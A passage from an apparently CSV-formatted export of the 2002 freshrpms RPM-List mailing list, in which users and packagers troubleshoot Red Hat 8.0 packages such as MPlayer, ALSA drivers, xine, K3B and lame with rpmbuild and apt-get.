automatically detected it. The new spec file explicitely passes --disable-libdv when the package is rebuilt with --without libdv. Grab the ""fr2.1"" spec from here : http://freshrpms.net/builds/index.html?build=mplayer Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10acpi Load : 0.02 0.10 0.15 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """C.Lee Taylor"" ",rpm-zzzlist@freshrpms.net,"Thu, 03 Oct 2002 13:02:29 +0200",Re: alsa-driver.spec tweak for homemade kernels ...,">> > Well, I don't really find it consistent at all to use an rpm package >> > built against something that wasn't installed through rpm :-/ >> >> Following that reasoning, I've been installing all my custom-built >> kernels through rpm recently. I find it annoying, though, that >> alsa-kernel, and similar packages, will only build for the currently >> running kernel. >> >> So I've attached a patch to specify an alternate kernel by setting the >> ""TARGET_KERNEL"" environment variable before running rpmbuild. You >> still need to have the rpm for the specified kernel installed, but at >> least it doesn't have to be currently running. It's kinda hackish, so >> if someone has a better way to do this, let me know. > >That idea looks good although it maybe needs to be tweaked a bit more (what >you sent doesn't support packages named ""kernel-smp""). I'd also prefer a >cleaner way than the env variable, and preferrably not editing the spec... >probably ""--define 'target 2.4.xx-xx' --with smp"". Sound good enough? >The BuildRequires on ""kernel-source"" will also need to be removed because >it won't necessarily need to be true, and that does bug me a bit :-/ Me and my kernel rpm builds ... this all works along the same idea I have been aiming for, but the freaking RedHat Kernel srpms still have been stump ... If we could get this and the alsa driver stuff working, it would be whole lot easier to try out a newer kernel ... but then the size of these rpms are huge, at least for us n^1 world courties ... ;-{ ... I will keep watching and hoping that somebody comes up with a great working idea ... Thanks guys. Mailed Lee _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Panu Matilainen ,rpm-zzzlist@freshrpms.net,"Thu, 3 Oct 2002 16:20:46 +0300 (EEST)",Re: Python 2.2 site libs?,"On Fri, 4 Oct 2002, Mark Derricutt wrote: > Anyone know where one could get rpms for alot of the python libraries for > 2.2? > > Its darn annoying the way RH ship python 1.5.2 and python 2.2 (as python2) > and libs that only work with one or the other :( > > esp. the pgdb and xml modules. > > Anyone know why Red Hat insist on sticking with python 1.5.2? They want to preserve binary compatibility for all .x releases. Red Hat 8.0 has python 2.2 as default. -- - Panu - _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 seth vidal ,rpm-zzzlist@freshrpms.net,03 Oct 2002 09:20:33 -0400,Re: Python 2.2 site libs?,"--=-ITC4wxYrfSWQCmQFalKh Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Thu, 2002-10-03 at 08:16, Mark Derricutt wrote: > Anyone know where one could get rpms for alot of the python libraries for= =20 > 2.2? >=20 > Its darn annoying the way RH ship python 1.5.2 and python 2.2 (as python2= )=20 > and libs that only work with one or the other :( >=20 > esp. the pgdb and xml modules. >=20 > Anyone know why Red Hat insist on sticking with python 1.5.2? > they are on python 2.2 for 8.0 - but they don't like to break compatibility during major releases. therefore: 6.X was 1.5.2 b/c that was current 7.x was 1.5.2 b/c that was current when 7.0 was released. -sv --=-ITC4wxYrfSWQCmQFalKh Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA9nEQh1Aj3x2mIbMcRAg/FAJ9MNwAv4hzpR4gjkMGGtGUjFKidQQCgk0ZE DlQVAibjHkM4H9ZBYzs0xb4= =8gIA -----END PGP SIGNATURE----- --=-ITC4wxYrfSWQCmQFalKh-- _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 R P Herrold ,rpm-zzzlist@freshrpms.net,"Thu, 3 Oct 2002 12:59:15 -0400 (EDT)",Re: f-rpm] Python 2.2 site libs?,"On Fri, 4 Oct 2002, Mark Derricutt wrote: > Anyone know why Red Hat insist on sticking with python 1.5.2? ehhh? IANAHNBARHE -- RHL 8.0 is fully python-2, with a back compatability v 1 shim set. This has been working and freely available in their Raw Hide for 5 months for early adopters and back-porters. Red Hat maintains binary compatability across major releases. Its server management tools are heavily Python, and becoming more so. To have added mid-stream the python-2 series in the RHL 7.x series would have been quite disruptive to an existing installed base. -- Russ Herrold _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Jesse Keating ,rpm-zzzlist@freshrpms.net,"Thu, 3 Oct 2002 14:24:57 -0700",Re: K3B,"On Fri, 04 Oct 2002 01:14:28 +0200 Vincent wrote: # Hello, # # I'm looking for the package k3b for the redhat 8.0, Does anyone know # # where to get it ? I tried to compile but it did an error message: I've been working on a .src.rpm for it. Their rpm and spec file is very dirty, so I""m cleaning it up. I think I have all the build-req's and the install req's sorted out, but I need more testers. http://geek.j2solutions.net/rpms/k3b/ Please try it. -- Jesse Keating j2Solutions.net Mondo DevTeam (www.mondorescue.org) Was I helpful? Let others know: http://svcs.affero.net/rm.php?r=jkeating _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ville =?ISO-8859-1?Q?Skytt=E4?= ,rpm-zzzlist@freshrpms.net,04 Oct 2002 00:48:03 +0300,apt.conf suggestion,"Hi, how about applying this to the default apt.conf shipped with the freshrpms.net apt package? I found it a bit weird when the behaviour changed between the old 0.3.x and the new 0.5.x versions so that when doing a ""apt-get upgrade"", it wouldn't tell me *which* packages were to be upgraded, just that it was about to upgrade something... --- apt.conf 2002-09-27 14:58:28.000000000 +0300 +++ apt.conf 2002-10-03 21:38:05.000000000 +0300 @@ -4,6 +4,7 @@ Get { Download-Only ""false""; + Show-Upgraded ""true""; }; }; -- \/ille Skytt ville.skytta at iki.fi _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Mark Derricutt ,rpm-zzzlist@freshrpms.net,"Fri, 04 Oct 2002 09:57:00 +1200",Re: Python 2.2 site libs?,"Ahh sweet. Theres a reason for me to upgrade then :-) --On Thursday, October 03, 2002 16:20:46 +0300 Panu Matilainen wrote: > They want to preserve binary compatibility for all .x releases. Red Hat > 8.0 has python 2.2 as default. -- \m/ -- ""...if I seem super human I have been misunderstood."" (c) Dream Theater mark@talios.com - ICQ: 1934853 JID: talios@myjabber.net _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Vincent ,rpm-zzzlist@freshrpms.net,"Fri, 04 Oct 2002 03:25:30 +0200",Re: K3B,"Jesse Keating wrote: >On Fri, 04 Oct 2002 01:14:28 +0200 >Vincent wrote: > ># Hello, ># ># I'm looking for the package k3b for the redhat 8.0, Does anyone know ># ># where to get it ? I tried to compile but it did an error message: > >I've been working on a .src.rpm for it. Their rpm and spec file is >very dirty, so I""m cleaning it up. I think I have all the build-req's >and the install req's sorted out, but I need more testers. > >http://geek.j2solutions.net/rpms/k3b/ > >Please try it. > > > If I get troubles with the .tar.gz source file compilation, will it work with the .src.rpm source file compilation ? If it will, how do I manage with a .src.rpm file, sorry, I don't remeber :( Thanks. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Fri, 4 Oct 2002 00:26:18 +0200",Re: apt.conf suggestion,"Once upon a time, Ville wrote : > how about applying this to the default apt.conf shipped with the > freshrpms.net apt package? I found it a bit weird when the behaviour > changed between the old 0.3.x and the new 0.5.x versions so that when > doing a ""apt-get upgrade"", it wouldn't tell me *which* packages were to > be upgraded, just that it was about to upgrade something... Indeed, I found that strange too, then I noticed the ""-u"" switch and used that... but your solution is much better :-) The next apt build will incorporate this change (not worth a rebuild for this, and as some relatively important cnc7 bugs are currently being fixed, I'd say cnc8 isn't far off!). Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10acpi Load : 0.02 0.06 0.10 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Jesse Keating ,rpm-zzzlist@freshrpms.net,"Thu, 3 Oct 2002 16:33:43 -0700",Re: K3B,"On Fri, 04 Oct 2002 03:25:30 +0200 Vincent wrote: # If I get troubles with the .tar.gz source file compilation, will it # work with the .src.rpm source file compilation ? # If it will, how do I manage with a .src.rpm file, sorry, I don't # remeber :( The .src.rpm will prompt you for what packages you need to complete the compile. rpmbuild --rebuild --target=$arch file.src.rpm -- Jesse Keating j2Solutions.net Mondo DevTeam (www.mondorescue.org) Was I helpful? Let others know: http://svcs.affero.net/rm.php?r=jkeating _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Dale Kosan ,rpm-zzzlist ,03 Oct 2002 21:47:18 -0400,Re: K3B,checking build system type... i686-pc-linux-gnu checking host system type... i686-pc-linux-gnu checking target system type... Invalid configuration `athalon-redhat-linux': machine `athalon-redhat' not recognized configure: error: /bin/sh admin/config.sub athalon-redhat-linux failed error: Bad exit status from /home/dale/rpmbuild/tmp/rpm-tmp.26673 (%prep) RPM build errors: user jkeating does not exist - using root group jkeating does not exist - using root user jkeating does not exist - using root group jkeating does not exist - using root Bad exit status from /home/dale/rpmbuild/tmp/rpm-tmp.26673 (%prep) [dale@gandalf dale]$ _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list,0,1 Dale Kosan ,rpm-zzzlist ,03 Oct 2002 21:52:32 -0400,Re: K3B,"oops, I am bad, I need to learn how to spell...... _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Roi Dayan ,rpm-zzzlist@freshrpms.net,"Fri, 04 Oct 2002 09:44:42 +0300",Re: Mplayer,"Matthias Saou wrote: >Once upon a time, Roi wrote : > > > >>Since I upgraded to redhat8 mplayer -vo sdl isnt working for me >>It gives me black screen and I only hear sound. >> >>can anyone help me with this ? >> >> > >I'll test this as soon as I can. > > > >>btw, >>also the source rpm specified that I can do --without libdv >>but it didn't work, worked for lirc and arts. >> >> > >Should be fixed : You probably had libdv-devel installed and MPlayer >automatically detected it. The new spec file explicitely passes >--disable-libdv when the package is rebuilt with --without libdv. > > I didn't had libdv at all, I installed it just to install mplayer. >Grab the ""fr2.1"" spec from here : >http://freshrpms.net/builds/index.html?build=mplayer > >Matthias > > > _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Roi Dayan ,rpm-zzzlist@freshrpms.net,"Fri, 04 Oct 2002 10:03:14 +0300",Re: Mplayer,"Matthias Saou wrote: >Once upon a time, Roi wrote : > > > >>Since I upgraded to redhat8 mplayer -vo sdl isnt working for me >>It gives me black screen and I only hear sound. >> >>can anyone help me with this ? >> >> > >I'll test this as soon as I can. > > > >>btw, >>also the source rpm specified that I can do --without libdv >>but it didn't work, worked for lirc and arts. >> >> > >Should be fixed : You probably had libdv-devel installed and MPlayer >automatically detected it. The new spec file explicitely passes >--disable-libdv when the package is rebuilt with --without libdv. > >Grab the ""fr2.1"" spec from here : >http://freshrpms.net/builds/index.html?build=mplayer > >Matthias > > > The new spec didn't even want to build the package something with config.mak Also this new spec looks like the old one, it got libdv and libdv-devel in the BuildRequires so I just used the normal spec and removed it manully. Roi _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Fri, 4 Oct 2002 10:54:13 +0200",Re: Mplayer,"Once upon a time, Roi wrote : > The new spec didn't even want to build the package > something with config.mak Now that is weird! :-/ > Also this new spec looks like the old one, it got libdv and libdv-devel > in the BuildRequires so I just used the normal spec and removed it > manully. Indeed, my boo-boo :-( Fixed now. BTW, about the ""mplayer -vo sdl"" black screen problem you reported, I was unable to reproduce it on my hom 8.0 computer, it worked as expected. Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10 Load : 0.10 0.15 0.16, AC on-line, battery charging: 100% (1:47) _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Thomas Vander Stichele ,rpm-zzzlist ,"Fri, 4 Oct 2002 10:15:27 +0200 (CEST)",Re: K3B,"> `athalon-redhat-linux': machine `athalon-redhat' not recognized > configure: error: /bin/sh admin/config.sub athalon-redhat-linux failed > error: Bad exit status from /home/dale/rpmbuild/tmp/rpm-tmp.26673 > (%prep) Woah ;) did you tweak some flags yourself, like default rpm flags ? What dist are you running ? I don't think there's an athalon-redhat-linux machine as standard ;) it should be some permutation of athlon and linux, and without redhat, but I can't tell for sure. Any idea where your system might be setting this flag ? > RPM build errors: > user jkeating does not exist - using root > group jkeating does not exist - using root > user jkeating does not exist - using root > group jkeating does not exist - using root > Bad exit status from /home/dale/rpmbuild/tmp/rpm-tmp.26673 (%prep) looks like the files are owned by the wrong user (ie the original spec builder). Thomas -- The Dave/Dina Project : future TV today ! - http://davedina.apestaart.org/ <-*- -*-> Goodbye I've finally arrived <-*- thomas@apestaart.org -*-> URGent, the best radio on the Internet - 24/7 ! - http://urgent.rug.ac.be/ _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Brian Fahrlander ,rpm-zzzlist@freshrpms.net,"Fri, 4 Oct 2002 05:22:13 -0500",Psyche: Anyone else tried it?,"Damn, this thing is slick. Someone seems to have done a very complete QA test on it; yesterday I installed it for the first time on an old Celeron box. Sure, parts of it were slow, but compared to my more modern machine, everything is. It was good; a beautiful interface that legions of 'sheep' can look at and say ""Cool; I can understand this"" and leave their shackles behind. :) I was struck by the massive amount of applications, both KDE and Gnome, intuitively seperated NOT by the Gnome/KDE names, but by their **meanings** instead. It's obvious that someone spent a lot of time improving the usability and graphics to make it more 'international'; the web browser graphic, for example, has a 'world' icon with a mouse wrapped around it. Office-apps have familiar pens, paper, and/or calculators involved. This is a Linux that I can plop down in front of almost anyone, and they can figure it out. At some point I'd miss the character of KDE/Gnome, and I'll probably 'hotrod' the graphics setup with my own themes, etc. But for the wide release, this one's IT. If you get a chance, try this; I think you'll be surprisingly pleased. ------------------------------------------------------------------------ Brian Fahrlnder Linux Zealot, Conservative, and Technomad Evansville, IN My Voyage: http://www.CounterMoon.com ICQ 5119262 ------------------------------------------------------------------------ Just machines, to make big decisions- programmed by fellas with compassion and vision. We'll be clean when that work is done; Eternally free and eternally young. Linux. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Steve Kann ,rpm-zzzlist@freshrpms.net,"Fri, 4 Oct 2002 16:23:13 -0400",Re: problems with apt/synaptic,"Although it looks like I'm replying to myself, I just haven't gotten Matthias' reply yet, although I can see it on the website (and I did subscribe, but probably to the digest). Anyway, Matthias wrote: > Once upon a time, Steve wrote : > > > I did apt-get update, and it seemed to have gotten the new packages > > Hmmm, ""it seems""? Check closer as this may be where the problem is > coming > from. > > but doing things like ""apt-get install synaptic"" didn't work (neither > > did other known packages, like apt-get install lame > > > > I just get: > > root@canarsie:/var/cache/apt # apt-get install lame > > Reading Package Lists... Done > > Building Dependency Tree... Done > > E: Couldn't find package lame > > Could you double check what ""apt-get update"" does? And eventually post > the > output if there are any errors or messages you don't understand. OK, I did it again, and here's what I got: root@canarsie:/tmp # apt-get update Ign http://apt.freshrpms.net redhat/8.0/en/i386 release Hit http://apt.freshrpms.net redhat/8.0/en/i386/os pkglist Hit http://apt.freshrpms.net redhat/8.0/en/i386/os release Hit http://apt.freshrpms.net redhat/8.0/en/i386/updates pkglist Hit http://apt.freshrpms.net redhat/8.0/en/i386/updates release Get:1 http://apt.freshrpms.net redhat/8.0/en/i386/freshrpms pkglist [51.8kB] Hit http://apt.freshrpms.net redhat/8.0/en/i386/freshrpms release Hit http://apt.freshrpms.net redhat/8.0/en/i386/os srclist Hit http://apt.freshrpms.net redhat/8.0/en/i386/updates srclist Get:2 http://apt.freshrpms.net redhat/8.0/en/i386/freshrpms srclist [12.6kB] Fetched 64.4kB in 2s (30.1kB/s) Reading Package Lists... Done root@canarsie:/tmp # apt-get install lame Reading Package Lists... Done Building Dependency Tree... Done E: Couldn't find package lame root@canarsie:/var/cache/apt # ls -ltr total 148 drwxr-xr-x 2 root root 4096 Sep 29 10:49 gensrclist drwxr-xr-x 2 root root 4096 Sep 29 10:49 genpkglist drwxr-xr-x 3 root root 4096 Sep 29 10:49 archives -rw-r--r-- 1 root root 49863 Oct 4 16:00 srcpkgcache.bin -rw-r--r-- 1 root root 158131 Oct 4 16:00 pkgcache.bin root@canarsie:/var/cache/apt # date Fri Oct 4 16:03:15 EDT 2002 So, it looks like it worked, and the files are updated.. very strange. Maybe something went wrong updating apt from my old version (as used with rh7.2), and this one. Lemme try totally uninstalling and reinstalling it.. root@canarsie:/ # rpm -e apt synaptic warning: /etc/apt/sources.list saved as /etc/apt/sources.list.rpmsave root@canarsie:/ # ls -l /etc/apt total 4 -rw-r--r-- 1 root root 1610 Oct 4 10:07 sources.list.rpmsave root@canarsie:/ # rpm -ivh /tmp/apt-0.5.4cnc7-fr1.i386.rpm warning: /tmp/apt-0.5.4cnc7-fr1.i386.rpm: V3 DSA signature: NOKEY, key ID e42d547b Preparing... ########################################### [100%] 1:apt ########################################### [100%] root@canarsie:/ # apt-get update Ign http://apt.freshrpms.net redhat/8.0/en/i386 release Hit http://apt.freshrpms.net redhat/8.0/en/i386/os pkglist Hit http://apt.freshrpms.net redhat/8.0/en/i386/os release Hit http://apt.freshrpms.net redhat/8.0/en/i386/updates pkglist Hit http://apt.freshrpms.net redhat/8.0/en/i386/updates release Hit http://apt.freshrpms.net redhat/8.0/en/i386/freshrpms pkglist Hit http://apt.freshrpms.net redhat/8.0/en/i386/freshrpms release Hit http://apt.freshrpms.net redhat/8.0/en/i386/os srclist Hit http://apt.freshrpms.net redhat/8.0/en/i386/updates srclist Hit http://apt.freshrpms.net redhat/8.0/en/i386/freshrpms srclist Reading Package Lists... Done root@canarsie:/ # apt-get install synaptic Reading Package Lists... Done Building Dependency Tree... Done E: Couldn't find package synaptic root@canarsie:/ # Still no go... I'm stumped. -SteveK > > Matthias > -- Steve Kann - Chief Engineer - 520 8th Ave #2300 NY 10018 - (212) 533-1775 HorizonLive.com - collaborate . interact . learn ""The box said 'Requires Windows 95, NT, or better,' so I installed Linux."" _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,Brian Fahrlander ,"Fri, 4 Oct 2002 22:35:58 +0200",Re: Alsa/Redhat 8 compatability,"Once upon a time, Brian wrote : > > I have a fresh, new 8.0 install. I'd like to 'go alsa', but I worry > about screwing it up. Is this fear founded? If I could get Alsa, I > could run a bunch of games I've been waiting for years to come > out...like Search & Rescue (available on a Mandrake RPM) and maybe > FlightGear (flight simulator). Well, I'm sure you can recompile those game packages without ALSA anyway. Also, note that ALSA 0.9.x has just appeared in Mandrake 9.0 and that all previous Mandrake releases were using the incompatible, aging and now unsupported 0.5.x series. (unless I've misunderstood) > How much 'hacking' is likely required to make it work for an > SBLive/emu10k1 soundcard? Near to none, it should be quite straightforward : http://freshrpms.net/docs/alsa/ The only tricky part is editing the /etc/modules.conf file, but the ALSA Soundcard Matrix has a page for every supported card with a section you can most of the time simply copy and paste! I really think that with my ALSA packages, ALSA on Red Hat Linux has never been so easy! ;-) Cheers, Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10 Load : 0.00 0.07 0.17, AC on-line, battery charging: 100% (1:47) _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """"" Angles "" Puglisi"" ","""=?iso-8859-1?Q?RPM=2DList?="" ","Fri, 04 Oct 2002 21:45:33 +0000",Re: Alsa/Redhat 8 compatability,"Matthias Saou (matthias@rpmforge.net) wrote*: >I really think that with my ALSA packages, ALSA on Red Hat Linux has never >been so easy! ;-) I had been hand building those alsa packages for probably 6 months or more, so I could use my laptop's ESS chip best (hard disk recording and such). Wow, maybe 8 to 10 months, time flys. I didn't look forward to doing that tedious build every time I changed a kernel or something. Matthias has made this a thing of the past! Dude, it's a no brainer, use apt-get or just download and install. What's more, OSS is fully ""imitated"", older apps using OSS are as happy as a clam. My personal taste tells me newer apps which use alsa sound better (alsaplayer, xmms with alsa module) to my ear. The 2 things that trick people are the modules.conf file, they didn't have that automatic matrix page when I started with alsa, you don't know how good you have it. And on my old installs (only the first time I installed it on a clean box), alsa always was ""muted"" until you fire up a mixer and turn up the music. It's possible Matthias even took care of that too. Anyway it is/was only a one time thing on 1st install, that was a long time ago for me. Those ALSA dudes had been trying to get it into the 2.4 kernel but missed it, but it's been in 2.5 for a while now, so alsa is the future of sound in the linux kernel. -- That's ""angle"" as in geometry. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ben Liblit ,rpm-zzzlist@freshrpms.net,"Fri, 04 Oct 2002 16:07:12 -0700",Re: RedHat 8.0 and his own freetype,"Matthias Haase wrote: > RH ships the code with the bytecode hinter disabled which makes > non-AA fonts really ugly. > This reqiures only a small change for include/freetype/config/ftoption.h, > it is very well documented. Red Hat 8.0 ships with the bytecode hinter enabled; I think 7.3 may have as well. The enabling change to ""ftoption.h"" is made by Red Hat's SRPM before building. Take a look at ""freetype-2.1.1-enable-ft2-bci.patch"" from the SRPM; it's pretty clear that this does exactly what needs to be done. So if your fonts look ugly, lack of bytecode hinting is *not* the cause. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Coy Krill ,rpm-zzzlist@freshrpms.net,"Fri, 4 Oct 2002 18:09:23 -0700",Problem building lame-3.92-fr5.src.rpm on RH8,I can't seem to build this package. It errors out because rpm found files not included in any of the packages. I tried getting them addes (it's the documentation that is being loaded) and was unsuccessful. Anyone get this to work? Coy _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list,0,1 QuaffA Pint ,rpm-zzzlist@freshrpms.net,04 Oct 2002 22:25:31 -0400,Xine dependencies,"On a RH 8 box, I'm trying to install your package xine-0.9.13-fr5.i386.rpm, I keep running into dependency problems. I've tried to install the dev and lib rpm's as well and they error out with dependency problems on each other (they each want something from the other's package). I've tried the --without options, but still end up with (similar for the regular package), glut is needed by xine-libs-0.9.13-fr5 aalib is needed by xine-libs-0.9.13-fr5 lirc is needed by xine-libs-0.9.13-fr5 libaa.so.1 is needed by xine-libs-0.9.13-fr5 libglut.so.3 is needed by xine-libs-0.9.13-fr5 What am I missing here? Thanks for your efforts. QuaffAPint _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Brian Fahrlander ,rpm-zzzlist@freshrpms.net,"Fri, 4 Oct 2002 22:10:03 -0500",Re: Xine dependencies,"On 04 Oct 2002 22:25:31 -0400, QuaffA Pint wrote: > On a RH 8 box, I'm trying to install your package > xine-0.9.13-fr5.i386.rpm, I keep running into dependency problems. I've > tried to install the dev and lib rpm's as well and they error out with > dependency problems on each other (they each want something from the > other's package). > > I've tried the --without options, but still end up with (similar for the > regular package), > > glut is needed by xine-libs-0.9.13-fr5 > aalib is needed by xine-libs-0.9.13-fr5 > lirc is needed by xine-libs-0.9.13-fr5 > libaa.so.1 is needed by xine-libs-0.9.13-fr5 > libglut.so.3 is needed by xine-libs-0.9.13-fr5 > > What am I missing here? ""apt-get install xine"". It'll find all these. Oh, and I'm told that Redhat 8.0 will also suggest things like this for ya. (Not apt, but the actual package names you need) ------------------------------------------------------------------------ Brian Fahrlnder Linux Zealot, Conservative, and Technomad Evansville, IN My Voyage: http://www.CounterMoon.com ICQ 5119262 ------------------------------------------------------------------------ Just machines, to make big decisions- programmed by fellas with compassion and vision. We'll be clean when that work is done; Eternally free and eternally young. Linux. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Sat, 5 Oct 2002 10:38:25 +0200",Re: Problem building lame-3.92-fr5.src.rpm on RH8,"Once upon a time, Coy wrote : > I can't seem to build this package. It errors out because rpm found > files not included in any of the packages. I tried getting them addes > (it's the documentation that is being loaded) and was unsuccessful. > Anyone get this to work? Hi, Could you post the list of files in question? Maybe more docs get generated when a certain doc tool is installed and that I didn't have it installed when I rebuilt the package :-/ Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10 Load : 0.06 0.12 0.09, AC on-line, battery charging: 100% (1:47) _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Gary Peck ,rpm-zzzlist@freshrpms.net,"Sat, 5 Oct 2002 03:21:43 -0700",Re: alsa-driver.spec tweak for homemade kernels,"On Wed, Oct 02, 2002 at 10:45:04PM +0200, Matthias Saou wrote: > > So I've attached a patch to specify an alternate kernel by setting the > > ""TARGET_KERNEL"" environment variable before running rpmbuild. You > > still need to have the rpm for the specified kernel installed, but at > > least it doesn't have to be currently running. It's kinda hackish, so > > if someone has a better way to do this, let me know. > > That idea looks good although it maybe needs to be tweaked a bit more (what > you sent doesn't support packages named ""kernel-smp""). I'd also prefer a > cleaner way than the env variable, and preferrably not editing the spec... > probably ""--define 'target 2.4.xx-xx' --with smp"". Sound good enough? > The BuildRequires on ""kernel-source"" will also need to be removed because > it won't necessarily need to be true, and that does bug me a bit :-/ The ""--define"" is exactly what I was looking for! I was trying to figure out a way to do it within the mechanism of rpm (like the ""--with"" switches), but for some reason didn't think of using ""--define"". My computer is currently gone for repairs, but once it's back, I'll rewrite the specfile, add support for kernel-smp, and email it to the list for further criticism :) As far as requiring kernel-source, I don't feel it's a big problem. If you're gonna go to the trouble of packaging custom kernels into rpms, it's not a far stretch to package the source tree too (as I currently do). Also, I've found that the alsa-driver source needs a usb-related patch to compile under the latest test kernels (2.4.20-preX). Are other people seeing the same thing, or is this just a problem with my setup? gary P.S. If I didn't mention it before, thanks for the alsa packages! They greatly simplified what used to take way too long before. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Sat, 5 Oct 2002 10:43:03 +0200",Re: Xine dependencies,"Once upon a time, QuaffA wrote : > I've tried the --without options, but still end up with (similar for the > regular package), > > glut is needed by xine-libs-0.9.13-fr5 You need to install the ""glut"" package from Red Hat Linux 8.0 (and ""glut-devel"" if you intend to recompile the source rpm). > aalib is needed by xine-libs-0.9.13-fr5 > lirc is needed by xine-libs-0.9.13-fr5 > libaa.so.1 is needed by xine-libs-0.9.13-fr5 > libglut.so.3 is needed by xine-libs-0.9.13-fr5 Here you need both ""aalib"" and ""lirc"" from freshrpms.net. They're small, they can be quite useful, that's why I've compiled xine with them as a default. You should be able to get rid of those two though, by rebuilding the source rpm (otherwise it's a bug in my packaging!) : rpmbuild --rebuild --without aalib --without lirc xine*.src.rpm Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10 Load : 0.06 0.13 0.09, AC on-line, battery charging: 100% (1:47) _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 QuaffA Pint ,rpm-zzzlist@freshrpms.net,05 Oct 2002 08:03:13 -0400,Re: Xine Dependencies,Thanks Matthias...After installing those packages Xine now installs fine. Guess I shoulda figured that one out... Thanks... QuaffAPint _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list,0,1 Matthias Haase ,rpm-zzzlist@freshrpms.net,"Sat, 5 Oct 2002 15:12:48 +0200",Re: RedHat 8.0 and his own freetype,"On Fri, 04 Oct 2002 16:07:12 -0700 Ben Liblit wrote: > So if your fonts look ugly, lack of bytecode hinting is *not* the cause. Well you are right, sorry, I didn't have any better idea yesterday late in the evening. The fonts are ugly only inside of gnome2 and clean for gnome1 apps, if antialiasing is disabled. This is difficult to understand for me. -- regards from Germany Matthias _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Coy Krill ,rpm-zzzlist@freshrpms.net,"Sat, 5 Oct 2002 12:56:02 -0700",Re: Problem building lame-3.92-fr5.src.rpm on RH8,Matthias said: >Could you post the list of files in question? Sure. I used the following command to rebuild the package: rpmbuild --rebuild --target i586 lame-3.92-fr5.src.rpm And here is the error output for the files: RPM build errors: user dude does not exist - using root user dude does not exist - using root Installed (but unpackaged) file(s) found: /usr/share/doc/lame/html/basic.html /usr/share/doc/lame/html/contributors.html /usr/share/doc/lame/html/examples.html /usr/share/doc/lame/html/history.html /usr/share/doc/lame/html/id3.html /usr/share/doc/lame/html/index.html /usr/share/doc/lame/html/lame.css /usr/share/doc/lame/html/modes.html /usr/share/doc/lame/html/node6.html /usr/share/doc/lame/html/switchs.html Coy _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list,0,1 R P Herrold ,rpm-zzzlist@freshrpms.net,"Sat, 5 Oct 2002 18:22:46 -0400 (EDT)",Re: f-rpm] Re: Problem building lame-3.92-fr5.src.rpm on RH8,"On Sat, 5 Oct 2002, Coy Krill wrote: > Sure. I used the following command to rebuild the package: > > rpmbuild --rebuild --target i586 lame-3.92-fr5.src.rpm > > And here is the error output for the files: > > RPM build errors: > user dude does not exist - using root > user dude does not exist - using root harmless ... > Installed (but unpackaged) 